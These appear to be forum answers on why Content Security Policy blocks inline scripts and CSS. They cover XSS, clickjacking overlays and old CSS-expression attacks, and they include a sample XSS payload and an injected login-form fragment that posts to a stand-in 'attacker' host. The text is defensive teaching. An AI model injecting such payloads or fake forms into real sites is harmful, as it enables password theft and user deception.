CSP is mainly a defense against arbitrary HTML getting injected into your website via poor validation, buggy scripts, etc. It's not a replacement for validation, but it's a failsafe when there's inevitably a bug. So the purpose of CSP is to block regular XSS like <script>alert("XSS!");</script>, and anything that works similarly. This isn't saying that inline script tags are a security vulnerability per se, just that they're a tool an attacker can use. CSP then also allows you to restrict <script src="..."> tags to trusted origins.

The same argument applies for CSS. If an attacker manages to output arbitrary HTML on your web page via some bug, they can add their own login form with <div style="position: fixed; ..."><form action="https://attacker/"> and harvest passwords this way. So CSP blocks that too. Again, this isn't because writing a form that way is a security vulnerability, but because if you've opted into CSP, you're stating that you're not writing forms this way so that you can enable these XSS and clickjacking protections.

It's mostly the combination with other things: the ability to hide or position elements on the page is commonly exploited by XSS, malware, adware, etc. If someone can inject JS or HTML into the page, they can do things like put an opacity:0 submit button over the control the user thought they were clicking on.

Consider how this could work if Twitter made a mistake and gave you a way to inject improperly-sanitized HTML into a field which other people will see: you might be able to inject a follow or tweet button even if you didn't have enough access to completely rewrite the entire page or load arbitrary scripts. If you can style it to either look real or be positioned over a real button, the odds of someone clicking that go up dramatically.

If you have a cross-site scripting hole, an attacker could use inline CSS to create a smoother experience for the visitor.

In the pre-IE8 days, you could include CSS expressions within CSS that let you execute arbitrary Javascript when the CSS was evaluated. This was a very common vector for Internet worms; UGC sites would think they were safe because they stripped out <script> tags, javascript: URLs, and inline event handlers (onload was another common attack vector), but then an attacker would add a custom style attribute with a CSS expression and pwn your computer.

That specific danger has largely gone away (except on all the corporate networks that are still on IE6 because custom apps), but there's still a desire to minimize attack surface. What if calc() or var() is found to have a bug in the future that allows arbitrary code execution?

CSS is powerful. It's possible to both steal data and in some browser to execute JS through CSS injections.

(JS execution is mostly possible in obsolete browser versions though)

If guess you could irritate users or trick them into clicking something they don't want if you are able to position elements on the site, maybe DoS the browser or fake the identity in a comment box. CSS is quite powerful.